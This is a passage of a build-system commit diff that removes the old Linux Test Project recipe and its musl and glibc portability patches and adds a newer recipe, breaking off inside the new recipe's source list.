-Subject: [PATCH 24/32] rt_sigaction/rt_sigprocmark: Define _GNU_SOURCE
-
-Fixes musl build failure e.g.
-error: 'SA_NOMASK' undeclared here (not in a function)
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c | 1 +
- testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c | 2 +-
- testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c | 1 +
- testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c | 1 +
- 4 files changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c b/testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c
-index 5cf89cc..bdcb91a 100644
---- a/testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c
-+++ b/testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c
-@@ -28,6 +28,7 @@
- /* sigset_t type. */
- /******************************************************************************/
-
-+#define _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-diff --git a/testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c b/testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c
-index a1da743..8a27a0f 100644
---- a/testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c
-+++ b/testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c
-@@ -23,7 +23,7 @@
- /* Description: This tests the rt_sigaction() syscall */
- /* rt_sigaction Expected EFAULT error check */
- /******************************************************************************/
--
-+#define _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-diff --git a/testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c b/testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c
-index 175d220..e7627cd 100644
---- a/testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c
-+++ b/testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c
-@@ -24,6 +24,7 @@
- /* rt_sigaction Expected EINVAL error check */
- /******************************************************************************/
-
-+#define _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-diff --git a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c
-index 74e5a61..75c57fc 100644
---- a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c
-+++ b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c
-@@ -39,6 +39,7 @@
- /* sigsetsize should indicate the size of a sigset_t type. */
- /******************************************************************************/
-
-+#define _GNU_SOURCE
- #include <stdio.h>
- #include <signal.h>
- #include <errno.h>
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0025-mc_gethost-include-sys-types.h.patch b/meta/recipes-extended/ltp/ltp/0025-mc_gethost-include-sys-types.h.patch
deleted file mode 100644
index afcba63e15..0000000000
--- a/meta/recipes-extended/ltp/ltp/0025-mc_gethost-include-sys-types.h.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 9d14edfc12eefac900dd54729a88b3ccf91c1c43 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 07:18:15 +0000
-Subject: [PATCH 25/32] mc_gethost: include sys/types.h
-
-Fix build on musl
-error: unknown type name 'u_char'
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/network/multicast/mc_gethost/mc_gethost.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/network/multicast/mc_gethost/mc_gethost.c b/testcases/network/multicast/mc_gethost/mc_gethost.c
-index 5b9a790..c799e2a 100644
---- a/testcases/network/multicast/mc_gethost/mc_gethost.c
-+++ b/testcases/network/multicast/mc_gethost/mc_gethost.c
-@@ -6,6 +6,7 @@
-
- #include <sys/param.h>
- #include <sys/socket.h>
-+#include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <arpa/nameser.h>
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0026-crash01-Define-_GNU_SOURCE.patch b/meta/recipes-extended/ltp/ltp/0026-crash01-Define-_GNU_SOURCE.patch
deleted file mode 100644
index f65fad12d4..0000000000
--- a/meta/recipes-extended/ltp/ltp/0026-crash01-Define-_GNU_SOURCE.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 0133a2b29d6f48d8e2bba6a3be581cdfa91311a6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 07:21:05 +0000
-Subject: [PATCH 26/32] crash01: Define _GNU_SOURCE
-
-Fixes musl build errors like
-error: 'SA_NOMASK' undeclared (first use in this function)
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/misc/crash/crash01.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/misc/crash/crash01.c b/testcases/misc/crash/crash01.c
-index 0574521..08a02e7 100644
---- a/testcases/misc/crash/crash01.c
-+++ b/testcases/misc/crash/crash01.c
-@@ -49,7 +49,7 @@ stress test at the same time you run other tests, like a multi-user
- benchmark.
-
- */
--
-+#define _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0027-sysconf01-Use-_SC_2_C_VERSION-conditionally.patch b/meta/recipes-extended/ltp/ltp/0027-sysconf01-Use-_SC_2_C_VERSION-conditionally.patch
deleted file mode 100644
index adf6f27418..0000000000
--- a/meta/recipes-extended/ltp/ltp/0027-sysconf01-Use-_SC_2_C_VERSION-conditionally.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 1471012164ba8f26046d4b1ce5531a0d92805ef5 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:21:16 +0800
-Subject: [PATCH 4/5] sysconf01: Use _SC_2_C_VERSION conditionally
-
-_SC_2_C_VERSION is not available on musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/sysconf/sysconf01.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/testcases/kernel/syscalls/sysconf/sysconf01.c b/testcases/kernel/syscalls/sysconf/sysconf01.c
-index 583deef..de93695 100644
---- a/testcases/kernel/syscalls/sysconf/sysconf01.c
-+++ b/testcases/kernel/syscalls/sysconf/sysconf01.c
-@@ -103,7 +103,9 @@ int main(void)
- test_sysconf(_SC_2_C_BIND);
- test_sysconf(_SC_2_C_DEV);
- #ifdef _SC_2_C_VERSION
-+#ifdef __GLIBC__
- test_sysconf(_SC_2_C_VERSION);
-+#endif
- #else
- tst_resm(TCONF, "_SC_2_C_VERSION not defined");
- #endif
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0028-rt_sigaction.h-Use-sighandler_t-instead-of-__sighand.patch b/meta/recipes-extended/ltp/ltp/0028-rt_sigaction.h-Use-sighandler_t-instead-of-__sighand.patch
deleted file mode 100644
index c730d46e69..0000000000
--- a/meta/recipes-extended/ltp/ltp/0028-rt_sigaction.h-Use-sighandler_t-instead-of-__sighand.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 94557fb7e1293c61145c959b8c5ffecf4a2b1069 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 07:24:44 +0000
-Subject: [PATCH 28/32] rt_sigaction.h: Use sighandler_t instead of
- __sighandler_t
-
-When _GNU_SOURCE is used then both typedefs are same and using
-sighandler_t makes it work on musl too
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- include/lapi/rt_sigaction.h | 2 +-
- testcases/kernel/syscalls/rt_sigsuspend/Makefile | 3 +++
- 2 files changed, 4 insertions(+), 1 deletion(-)
-
-Index: git/include/lapi/rt_sigaction.h
-===================================================================
---- git.orig/include/lapi/rt_sigaction.h
-+++ git/include/lapi/rt_sigaction.h
-@@ -36,12 +36,12 @@
- #if defined(__mips__)
- struct kernel_sigaction {
- unsigned int sa_flags;
-- __sighandler_t k_sa_handler;
-+ sighandler_t k_sa_handler;
- sigset_t sa_mask;
- };
- #else
- struct kernel_sigaction {
-- __sighandler_t k_sa_handler;
-+ sighandler_t k_sa_handler;
- unsigned long sa_flags;
- void (*sa_restorer) (void);
- sigset_t sa_mask;
-Index: git/testcases/kernel/syscalls/rt_sigsuspend/Makefile
-===================================================================
---- git.orig/testcases/kernel/syscalls/rt_sigsuspend/Makefile
-+++ git/testcases/kernel/syscalls/rt_sigsuspend/Makefile
-@@ -19,4 +19,7 @@
- top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/testcases.mk
-+
-+CFLAGS += -D_GNU_SOURCE
-+
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/meta/recipes-extended/ltp/ltp/0030-lib-Use-PTHREAD_MUTEX_RECURSIVE-in-place-of-PTHREAD_.patch b/meta/recipes-extended/ltp/ltp/0030-lib-Use-PTHREAD_MUTEX_RECURSIVE-in-place-of-PTHREAD_.patch
deleted file mode 100644
index efa6d060a0..0000000000
--- a/meta/recipes-extended/ltp/ltp/0030-lib-Use-PTHREAD_MUTEX_RECURSIVE-in-place-of-PTHREAD_.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 00ba7cdd0608b1507027428f9f87b1cb9747372b Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Thu, 9 Feb 2017 15:54:53 +0800
-Subject: [PATCH] lib: Use PTHREAD_MUTEX_RECURSIVE in place of
- PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP for non-glibc
-
-e.g. musl does not implement the _NP mutex types
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
-Upstream-Status: Pending
----
- lib/tst_res.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/lib/tst_res.c b/lib/tst_res.c
-index 61daaeb..435224f 100644
---- a/lib/tst_res.c
-+++ b/lib/tst_res.c
-@@ -79,7 +79,11 @@ int TEST_ERRNO;
- assert(strlen(buf) > 0); \
- } while (0)
-
-+#ifdef __GLIBC__
- static pthread_mutex_t tmutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP;
-+#else
-+static pthread_mutex_t tmutex = { PTHREAD_MUTEX_RECURSIVE };
-+#endif
-
- static void check_env(void);
- static void tst_condense(int tnum, int ttype, const char *tmesg);
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0033-shmat1-Cover-GNU-specific-code-under-__USE_GNU.patch b/meta/recipes-extended/ltp/ltp/0033-shmat1-Cover-GNU-specific-code-under-__USE_GNU.patch
deleted file mode 100644
index 868e1cf1fa..0000000000
--- a/meta/recipes-extended/ltp/ltp/0033-shmat1-Cover-GNU-specific-code-under-__USE_GNU.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 5e3dea669e5b0b769f322d54a3bb9f320b5327da Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 22 Mar 2016 15:47:14 +0000
-Subject: [PATCH 26/26] shmat1: Cover GNU specific code under __USE_GNU
-
-on x86, we use uc_mcontext element from sigcontext
-which is marked gnu-specific in glibc, this patch
-adds this condition around the code
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- testcases/kernel/mem/mtest06/shmat1.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/testcases/kernel/mem/mtest06/shmat1.c b/testcases/kernel/mem/mtest06/shmat1.c
-index 0d6d7a4..bee69f6 100644
---- a/testcases/kernel/mem/mtest06/shmat1.c
-+++ b/testcases/kernel/mem/mtest06/shmat1.c
-@@ -111,7 +111,7 @@ int done_shmat = 0; /* disallow read and writes before shmat */
- static void sig_handler(int signal, /* signal number, set to handle SIGALRM */
- int code, struct ucontext *ut)
- { /* contains pointer to sigcontext structure */
--#ifdef __i386__
-+#if defined(__i386__) && defined(__USE_GNU)
- unsigned long except; /* exception type. */
- int ret = 0; /* exit code from signal handler. */
- struct sigcontext *scp = /* pointer to sigcontext structure */
-@@ -122,7 +122,7 @@ static void sig_handler(int signal, /* signal number, set to handle SIGALRM
- fprintf(stdout, "Test ended, success\n");
- exit(0);
- }
--#ifdef __i386__
-+#if defined(__i386__) && defined(__USE_GNU)
- else {
- except = scp->trapno;
- fprintf(stderr, "signal caught - [%d] ", signal);
---
-1.9.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0034-periodic_output.patch b/meta/recipes-extended/ltp/ltp/0034-periodic_output.patch
deleted file mode 100644
index c2ef899cc5..0000000000
--- a/meta/recipes-extended/ltp/ltp/0034-periodic_output.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 5a77e2bdc083f4f842a8ba7c2db1a7ac6e5f0664 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 31 May 2017 21:26:05 -0400
-Subject: [PATCH] Add periodic output for long time test.
-
-This is needed in context of having scripts running ltp tests and
-waiting with a timeout for the output of the tests.
-
-Signed-off-by: Tudor Florea <tudor.florea@enea.com>
-Upstream-Status: Pending
-
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- .../kernel/controllers/memcg/stress/memcg_stress_test.sh | 11 ++++++++---
- 1 file changed, 8 insertions(+), 3 deletions(-)
-
-diff --git a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
-index af1a708..084e628 100755
---- a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
-+++ b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
-@@ -37,7 +37,8 @@ if [ "x$(grep -w memory /proc/cgroups | cut -f4)" != "x1" ]; then
- exit 0
- fi
-
--RUN_TIME=$(( 15 * 60 ))
-+ONE_MINUTE=60
-+RUN_TIME=15
-
- cleanup()
- {
-@@ -62,7 +63,7 @@ do_mount()
- # $1 - Number of cgroups
- # $2 - Allocated how much memory in one process? in MB
- # $3 - The interval to touch memory in a process
--# $4 - How long does this test run ? in second
-+# $4 - How long does this test run ? in minutes
- run_stress()
- {
- do_mount;
-@@ -81,7 +82,11 @@ run_stress()
- eval /bin/kill -s SIGUSR1 \$pid$i 2> /dev/null
- done
-
-- sleep $4
-+ for i in $(seq 0 $(($4-1)))
-+ do
-+ eval echo "Started $i min ago. Still alive... "
-+ sleep $ONE_MINUTE
-+ done
-
- for i in $(seq 0 $(($1-1)))
- do
---
-2.8.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0035-fix-test_proc_kill-hang.patch b/meta/recipes-extended/ltp/ltp/0035-fix-test_proc_kill-hang.patch
deleted file mode 100644
index 71e32a5e51..0000000000
--- a/meta/recipes-extended/ltp/ltp/0035-fix-test_proc_kill-hang.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From f7c602b639db0d118e07d3fa7b6deead0be0c72b Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:17:17 +0800
-Subject: [PATCH 3/5] Fix test_proc_kill hanging
-
-Sometimes the signal is delivered to memcg_process before the framework took
-into consideration its pid entered in the tasks. Fixed by delaying the signal
-send command.
-
-Signed-off-by: George Nita <george.nita@enea.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-index b785fe3..2918cc5 100755
---- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-@@ -283,6 +283,7 @@ test_proc_kill()
- pid=$!
- TST_CHECKPOINT_WAIT 0
- echo $pid > tasks
-+ sleep 1
-
- signal_memcg_process $pid $3
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0036-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch b/meta/recipes-extended/ltp/ltp/0036-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch
deleted file mode 100644
index 04532be79e..0000000000
--- a/meta/recipes-extended/ltp/ltp/0036-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 672a56be14426eae44864673c6c2afca0ab89d46 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Fri, 13 May 2016 11:11:28 -0500
-Subject: [PATCH] testcases/network/nfsv4/acl/acl1.c: Security fix on string
- printf
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Fixes:
-
-acl1.c: In function 'test_acl_default':
-acl1.c:317:2: error: format not a string literal and no format arguments
-[-Werror=format-security]
- printf(cmd);
-
-[YOCTO #9548]
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
-Upstream-Status: Pending
----
- testcases/network/nfsv4/acl/acl1.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/network/nfsv4/acl/acl1.c b/testcases/network/nfsv4/acl/acl1.c
-index b8b67b4..7c7c506 100644
---- a/testcases/network/nfsv4/acl/acl1.c
-+++ b/testcases/network/nfsv4/acl/acl1.c
-@@ -314,7 +314,7 @@ void test_acl_default(char *dir, acl_t acl)
- char *cmd = malloc(256);
-
- strcpy(cmd, "chmod 7777 ");
-- printf(cmd);
-+ printf(cmd, NULL);
- strcat(cmd, dir);
- system(cmd);
- acl2 = acl_get_file(path, ACL_TYPE_ACCESS);
---
-2.1.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0037-ltp-fix-format-security-error.patch b/meta/recipes-extended/ltp/ltp/0037-ltp-fix-format-security-error.patch
deleted file mode 100644
index 44d699051b..0000000000
--- a/meta/recipes-extended/ltp/ltp/0037-ltp-fix-format-security-error.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 8eb3e111ae1b89e5afb249cf984d657f94da2385 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Tue, 17 Oct 2017 05:42:47 -0400
-Subject: [PATCH] ltp: fix format security error
-
-When enable option: -Werror=format-security, the error like:
-
- | fcntl36.c: In function 'test_fn':
- | fcntl36.c:303:2: error: format not a string literal and no format arguments [-Werror=format-security]
- | tst_res(TINFO, msg);
- | ^~~~~~~
- | cc1: some warnings being treated as errors
-
-Upstream-Status: Pending
-
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- testcases/kernel/syscalls/fcntl/fcntl36.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/fcntl/fcntl36.c b/testcases/kernel/syscalls/fcntl/fcntl36.c
-index 6f2eb6b..3246d13 100644
---- a/testcases/kernel/syscalls/fcntl/fcntl36.c
-+++ b/testcases/kernel/syscalls/fcntl/fcntl36.c
-@@ -300,7 +300,7 @@ static void test_fn(void *f0(void *), void *f1(void *),
- struct param p2[thread_cnt];
- unsigned char buf[write_size];
-
-- tst_res(TINFO, msg);
-+ tst_res(TINFO, "%s", msg);
-
- if (tst_fill_file(fname, 1, write_size, thread_cnt + 1))
- tst_brk(TBROK, "Failed to create tst file");
---
-2.8.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0038-generate-reproducible-gzip.patch b/meta/recipes-extended/ltp/ltp/0038-generate-reproducible-gzip.patch
deleted file mode 100644
index 0153ace8ea..0000000000
--- a/meta/recipes-extended/ltp/ltp/0038-generate-reproducible-gzip.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Do not generate timestamps in gzipped file headers.
-The timestamps prevent reproducible build.
-
-Upstream-Status: Submitted [https://github.com/linux-test-project/ltp/pull/233]
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-
-diff --git a/testcases/network/generate.sh b/testcases/network/generate.sh
-index 00216a6..939f792 100755
---- a/testcases/network/generate.sh
-+++ b/testcases/network/generate.sh
-@@ -55,7 +55,7 @@ fi
- if [ ! -e "bin.sm" ] ; then
- cnt=0
- while [ $cnt -lt 5 ] ; do
-- gzip -1 -c ascii.sm >> "bin.sm"
-+ gzip -1 -c -n ascii.sm >> "bin.sm"
- cnt=$(($cnt + 1))
- done
- fi
diff --git a/meta/recipes-extended/ltp/ltp_20170929.bb b/meta/recipes-extended/ltp/ltp_20170929.bb
deleted file mode 100644
index 8a870b36ac..0000000000
--- a/meta/recipes-extended/ltp/ltp_20170929.bb
+++ /dev/null
@@ -1,123 +0,0 @@
-SUMMARY = "Linux Test Project"
-DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
-HOMEPAGE = "http://ltp.sourceforge.net"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
- file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \
- file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
- file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://tools/pounder21/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://utils/ffsb-6.0-rc2/COPYING;md5=c46082167a314d785d012a244748d803 \
-"
-
-DEPENDS = "attr libaio libcap acl openssl zip-native"
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBC=musl "
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-SRCREV = "bac930f71b1e6786ebb8a894463503d07681ef6a"
-
-SRC_URI = "git://github.com/linux-test-project/ltp.git \
- file://0001-add-_GNU_SOURCE-to-pec_listener.c.patch \
- file://0002-Add-knob-to-control-whether-numa-support-should-be-c.patch \
- file://0003-Add-knob-to-control-tirpc-support.patch \
- file://0004-build-Add-option-to-select-libc-implementation.patch \
- file://0005-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch \
- file://0007-fix-__WORDSIZE-undeclared-when-building-with-musl.patch \
- file://0008-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch \
- file://0009-fix-redefinition-of-struct-msgbuf-error-building-wit.patch \
- file://0010-replace-__BEGIN_DECLS-and-__END_DECLS.patch \
- file://0011-Rename-sigset-variable-to-sigset1.patch \
- file://0018-guard-mallocopt-with-__GLIBC__.patch \
- file://0020-getdents-define-getdents-getdents64-only-for-glibc.patch \
- file://0021-Define-_GNU_SOURCE-for-MREMAP_MAYMOVE-definition.patch \
- file://0023-ptrace-Use-int-instead-of-enum-__ptrace_request.patch \
- file://0024-rt_sigaction-rt_sigprocmark-Define-_GNU_SOURCE.patch \
- file://0025-mc_gethost-include-sys-types.h.patch \
- file://0026-crash01-Define-_GNU_SOURCE.patch \
- file://0027-sysconf01-Use-_SC_2_C_VERSION-conditionally.patch \
- file://0028-rt_sigaction.h-Use-sighandler_t-instead-of-__sighand.patch \
- file://0030-lib-Use-PTHREAD_MUTEX_RECURSIVE-in-place-of-PTHREAD_.patch \
- file://0033-shmat1-Cover-GNU-specific-code-under-__USE_GNU.patch \
- file://0034-periodic_output.patch \
- file://0035-fix-test_proc_kill-hang.patch \
- file://0036-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch \
- file://0037-ltp-fix-format-security-error.patch \
- file://0038-generate-reproducible-gzip.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit autotools-brokensep
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-export prefix = "/opt/ltp"
-export exec_prefix = "/opt/ltp"
-
-PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
-EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
-EXTRA_OECONF = " --with-power-management-testsuite --with-realtime-testsuite "
-# ltp network/rpc test cases ftbfs when libtirpc is found
-EXTRA_OECONF += " --without-tirpc "
-
-do_install(){
- install -d ${D}/opt/ltp/
- oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install
-
- # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
- # as it lacks dependency on some perl moudle such as LWP::Simple
- # And this script previously works as a tool for analyzing failures from LTP
- # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
- # http://khack.osdl.org to retrieve ltp test results run on
- # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
- rm -rf ${D}/opt/ltp/bin/STPfailure_report.pl
-
- # Copy POSIX test suite into ${D}/opt/ltp/testcases by manual
- cp -r testcases/open_posix_testsuite ${D}/opt/ltp/testcases
-}
-
-RDEPENDS_${PN} = "\
- acl \
- at \
- attr \
- bash \
- cpio \
- cronie \
- curl \
- e2fsprogs-mke2fs \
- expect \
- gawk \
- gzip \
- iproute2 \
- ldd \
- libaio \
- logrotate \
- perl \
- python-core \
- unzip \
- util-linux \
- which \
-"
-
-FILES_${PN}-staticdev += "/opt/ltp/lib/libmem.a /opt/ltp/testcases/data/nm01/lib.a"
-
-FILES_${PN} += "/opt/ltp/* /opt/ltp/runtest/* /opt/ltp/scenario_groups/* /opt/ltp/testcases/bin/* /opt/ltp/testcases/bin/*/bin/* /opt/ltp/testscripts/* /opt/ltp/testcases/open_posix_testsuite/* /opt/ltp/testcases/open_posix_testsuite/conformance/* /opt/ltp/testcases/open_posix_testsuite/Documentation/* /opt/ltp/testcases/open_posix_testsuite/functional/* /opt/ltp/testcases/open_posix_testsuite/include/* /opt/ltp/testcases/open_posix_testsuite/scripts/* /opt/ltp/testcases/open_posix_testsuite/stress/* /opt/ltp/testcases/open_posix_testsuite/tools/*"
-
-# Avoid generated binaries stripping. Otherwise some of the ltp tests such as ldd01 & nm01 fails
-INHIBIT_PACKAGE_STRIP = "1"
-INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
-# However, test_arch_stripped is already stripped, so...
-INSANE_SKIP_${PN} += "already-stripped"
-
-# Avoid file dependency scans, as LTP checks for things that may or may not
-# exist on the running system. For instance it has specific checks for
-# csh and ksh which are not typically part of OpenEmbedded systems (but
-# can be added via additional layers.)
-SKIP_FILEDEPS_${PN} = '1'
diff --git a/meta/recipes-extended/ltp/ltp_20240129.bb b/meta/recipes-extended/ltp/ltp_20240129.bb
new file mode 100644
index 0000000000..e88e931a68
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp_20240129.bb
@@ -0,0 +1,145 @@
+SUMMARY = "Linux Test Project"
+DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
+HOMEPAGE = "https://linux-test-project.github.io/"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause"
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
+ file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
+"
+
+DEPENDS = "attr libaio libcap acl openssl zip-native"
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
+EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
+
+# since ltp contains x86-64 assembler which uses the frame-pointer register,
+# set -fomit-frame-pointer x86-64 to handle cases where optimisation
+# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
+# earlier in CFLAGS, etc.
+CFLAGS:append:x86-64 = " -fomit-frame-pointer"
+TUNE_CCARGS:remove:x86 = "-mfpmath=sse"
+TUNE_CCARGS:remove:x86-64 = "-mfpmath=sse"
+
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+SRCREV = "68737d20556d37364c95776044b1119c0912a36a"
+
+SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
+ file://0001-Remove-OOM-tests-from-runtest-mm.patch \
